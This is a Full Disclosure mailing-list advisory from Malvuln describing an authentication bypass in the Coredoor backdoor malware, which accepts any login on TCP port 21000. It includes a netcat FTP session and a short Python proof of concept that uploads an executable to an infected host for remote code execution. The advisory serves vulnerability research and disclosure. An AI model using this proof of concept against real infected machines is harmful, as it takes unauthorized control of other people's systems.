full-disclosure - [FD] Backdoor.Win32.Coredoor.10.a / Authentication Bypass RCE

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Message-ID: <CAAHK0WRC9hyZzM3vN=2r7voBS1BeNqOU5PmO5VvHvzjf4wWouw@mail.gmail.com>
Date: Thu, 25 Nov 2021 17:08:51 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Coredoor.10.a / Authentication Bypass RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers
who can reach infected systems can logon using any username/password
combination. Intruders may then upload executables using ftp PASV, STOR
commands, this can result in remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe
Disclosure: 11/25/2021

Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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